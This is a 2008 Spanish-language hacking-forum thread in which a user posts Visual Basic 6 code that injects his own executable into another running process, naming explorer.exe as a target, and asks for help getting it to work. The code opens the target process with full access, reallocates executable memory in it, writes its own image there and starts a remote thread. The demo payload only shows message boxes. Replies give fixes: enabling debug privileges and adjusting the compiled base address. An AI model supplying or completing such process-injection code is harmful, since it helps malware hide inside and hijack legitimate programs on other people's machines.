elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  EXE Injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: EXE Injection  (Leído 2,613 veces)
XcryptOR

Desconectado Desconectado

Mensajes: 228



Ver Perfil
EXE Injection
« en: 7 Octubre 2008, 15:41 pm »

tengo una duda, la inyección de code solo se puede hacer a otro ejecutable en VB, oh podria inyectar mi code a explorer.exe?

podria alguien postear algun code que sirva.

Código
  1. Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  2. Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal ProcessHandle As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  3. Public Declare Function VirtualFreeEx Lib "kernel32" (ByVal ProcessHandle As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
  4. Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
  5. Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  6. Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal ProcessHandle As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
  7. Public Declare Function GetModuleHandleA Lib "kernel32" (ByVal ModName As String) As Long
  8. Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal ProcessHandle As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nsize As Long, lpNumberOfBytesWritten As Long) As Long
  9. Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
  10. Public Declare Function MessageBox Lib "user32" Alias "MessageBoxA" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
  11. Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
  12. Public Declare Function CreateEvent Lib "kernel32" Alias "CreateEventA" (ByVal lpEventAttributes As Long, ByVal bManualReset As Long, ByVal bInitialState As Long, ByVal lpname As String) As Long
  13. Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hmodule As Integer, ByVal lpFileName As String, ByVal nsize As Integer) As Integer
  14. Public Declare Sub ExitThread Lib "kernel32" (ByVal dwExitCode As Long)
  15. Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
  16.  
  17. Const MEM_COMMIT = &H1000
  18. Const MEM_RESERVE = &H2000
  19. Const MEM_RELEASE = &H8000
  20. Const PAGE_EXECUTE_READWRITE = &H40&
  21. Const IMAGE_NUMBEROF_DIRECTIRY_ENRIES = 16
  22. Const STANDARD_RIGHTS_REQUIRED = &HF0000
  23. Const SYNCHRONIZE = &H100000
  24. Const PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
  25.  
  26. Type IMAGE_DATA_DIRECTORY
  27.    VirtualAddress As Long
  28.    Size As Long
  29. End Type
  30.  
  31. Type IMAGE_FILE_HEADER
  32.    Machine As Integer
  33.    NumberOfSections As Integer
  34.    TimeDataStamp As Long
  35.    PointerToSymbolTable As Long
  36.    NumberOfSymbols As Long
  37.    SizeOfOptionalHeader As Integer
  38.    Characteristics As Integer
  39. End Type
  40.  
  41. Type IMAGE_OPTIONAL_HEADER32
  42.    Magic As Integer
  43.    MajorLinkerVersion As Byte
  44.    MinorLinkerVersion As Byte
  45.    SizeOfCode As Long
  46.    SizeOfInitalizedData As Long
  47.    SizeOfUninitalizedData As Long
  48.    AddressOfEntryPoint As Long
  49.    BaseOfCode As Long
  50.    BaseOfData As Long
  51.    ImageBase As Long
  52.    SectionAlignment As Long
  53.    FileAlignment As Long
  54.    MajorOperatingSystemVersion As Integer
  55.    MinorOperatingSystemVersion As Integer
  56.    MajorImageVersion As Integer
  57.    MinorImageVersion As Integer
  58.    MajorSubsystemVersion As Integer
  59.    MinorSubsystemVersion As Integer
  60.    Reserved1 As Long
  61.    SizeOfImage As Long
  62.    SizeOfHeaders As Long
  63.    CheckSum As Long
  64.    Subsystem As Integer
  65.    DllCharacteristics As Integer
  66.    SizeOfStackReserve As Long
  67.    SizeOfStackCommit As Long
  68.    SizeOfHeapReserve As Long
  69.    SizeOfHeapCommit As Long
  70.    LoaerFlags As Long
  71.    NumberOfRvaAndSizes As Long
  72.    DataDirectory(IMAGE_NUMBEROF_DIRECTIRY_ENRIES - 1) As IMAGE_DATA_DIRECTORY
  73. End Type
  74.  
  75. Type test
  76.    t1 As Long
  77. End Type
  78.  
  79. Type IMAGE_DOS_HEADER
  80.    e_magic As Integer
  81.    e_cblp As Integer
  82.    e_cp As Integer
  83.    e_crlc As Integer
  84.    e_cparhdr As Integer
  85.    e_minalloc As Integer
  86.    e_maxalloc As Integer
  87.    e_ss As Integer
  88.    e_sp As Integer
  89.    e_csum As Integer
  90.    e_ip As Integer
  91.    e_cs As Integer
  92.    e_lfarlc As Integer
  93.    e_onvo As Integer
  94.    e_res(3) As Integer
  95.    e_oemid As Integer
  96.    e_oeminfo As Integer
  97.    e_res2(9) As Integer
  98.    e_lfanew As Long
  99. End Type
  100. Const szTarget As String = "project1"
  101. Dim szSharedData As String * 261
  102. Public Sub Main()
  103. ' Sub that will start when the program is run
  104. Dim PID As Long, ProcessHandle As Long
  105. Dim Size As Long, BytesWritten As Long, TID As Long, Module As Long, NewModule As Long
  106. Dim PImageOptionalHeader As IMAGE_OPTIONAL_HEADER32, PImageDosHeader As IMAGE_DOS_HEADER, TImageFileHeader As IMAGE_FILE_HEADER, TestType As test
  107.  
  108. GetModuleFileName 0, szSharedData, 261
  109.  
  110. GetWindowThreadProcessId FindWindow(vbNullString, szTarget), PID
  111.  
  112. ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)
  113.  
  114. Module = GetModuleHandleA(vbNullString)
  115.  
  116. CopyMemory PImageDosHeader, ByVal Module, Len(PImageDosHeader)
  117.  
  118. CopyMemory PImageOptionalHeader, ByVal (Module + PImageDosHeader.e_lfanew + 4 + Len(TImageFileHeader)), Len(PImageOptionalHeader)
  119.  
  120. Size = PImageOptionalHeader.SizeOfImage
  121.  
  122.  
  123. VirtualFreeEx ProcessHandle, Module, 0, MEM_RELEASE
  124.  
  125. NewModule = VirtualAllocEx(ProcessHandle, Module, Size, MEM_RESERVE Or MEM_COMMIT, PAGE_EXECUTE_READWRITE)
  126.  
  127. WriteProcessMemory ProcessHandle, ByVal NewModule, ByVal Module, Size, BytesWritten
  128.  
  129. CreateRemoteThread ProcessHandle, ByVal 0, 0, ByVal GetAdd(AddressOf HijackModule), ByVal Module, 0, TID
  130.  
  131. MsgBox "Handle of the process is: " & ProcessHandle & vbCrLf & "Callback of HijackModule is: " & GetAdd(AddressOf HijackModule) & vbCrLf & "Handle of module is: " & Module & vbCrLf & "Size of module is: " & Size & vbCrLf & "Memory was allocated at: " & NewModule & vbCrLf & "Thread created with handle: " & TID
  132. End Sub
  133.  
  134. Private Function GetAdd(Entrypoint As Long) As Long
  135. GetAdd = Entrypoint
  136. End Function
  137.  
  138. Public Function HijackModule(Stuff As Long) As Long
  139. MessageBox 0, "I am inside a hijacked application", "Hello!", 0
  140. MessageBox 0, "Close the ""Inject"" message box and then delete me", "Hello!", 0
  141. MessageBox 0, "You see? I am still running even if you deleted me.", "Hello!", 0
  142. End Function
  143.  
  144.  

he estado intentando pero sin exito, agradeceria cualquier aporte que me puedan brindar,

Gracias.


En línea



Fr4NN^

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Re: EXE Injection
« Respuesta #1 en: 7 Octubre 2008, 16:02 pm »

La injeccion de code o de una dll x ejemplo se hace sobre un proceso q este corriendo.. injecta el code en la memoria..

aver si alguno tiene un buen code en vb y explica un pokito si tiene tiempo  :P

saludos


En línea

Leyendo se aprende
aaronduran2


Desconectado Desconectado

Mensajes: 790



Ver Perfil WWW
Re: EXE Injection
« Respuesta #2 en: 7 Octubre 2008, 16:05 pm »

Hay varios ejemplos de cobein en el foro, que mostraban como hacer inyección de DLL fácilmente.

Saludos.
En línea

XcryptOR

Desconectado Desconectado

Mensajes: 228



Ver Perfil
Re: EXE Injection
« Respuesta #3 en: 7 Octubre 2008, 16:58 pm »

El tema es inyeccion de EXE.la inyeccion Dll no me da problemas, necesito es inyectar mi EXE dentro de otro por ejemplo explorer, entiendo que se inyecta la direccion a una funcion de mi EXE. el problema es que cuando lo ejecuto me dice que la memoria no se puede escribir.

En línea



cobein


Desconectado Desconectado

Mensajes: 759



Ver Perfil WWW
Re: EXE Injection
« Respuesta #4 en: 7 Octubre 2008, 22:01 pm »

Vas a necesitar ajustar los privilegios a SeDebugPrivilege.
En línea

http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.
XcryptOR

Desconectado Desconectado

Mensajes: 228



Ver Perfil
Re: EXE Injection
« Respuesta #5 en: 8 Octubre 2008, 20:56 pm »

Si estoy dandole permisos, la verdad me parece mas que es un error en la llama da a la funcion VirtualAllocEx, que si no estoy mal ubica un espacio en memoria, he escuchado algo sobre la addresbase del exe, no se si estoy en lo correcto, quiero saber si alguien ha inyectado code en otro proceso, y si hay errores en mi code saberlo o como hacerlo funcionar. Bueno NO se trata de inyeccion DLL, sino inyección De un EXE en otro EXE.

gracias
En línea



cobein


Desconectado Desconectado

Mensajes: 759



Ver Perfil WWW
Re: EXE Injection
« Respuesta #6 en: 9 Octubre 2008, 00:23 am »

Si, necesitas un control de compilador para modificar el base address cuando compilas sino no va a funcionar.

Edit: contesto tu otra pregunta, podrias inyectarlo en cualquier exe... pero eso va a depender de como lo programes.
« Última modificación: 9 Octubre 2008, 00:27 am por cobein » En línea

http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines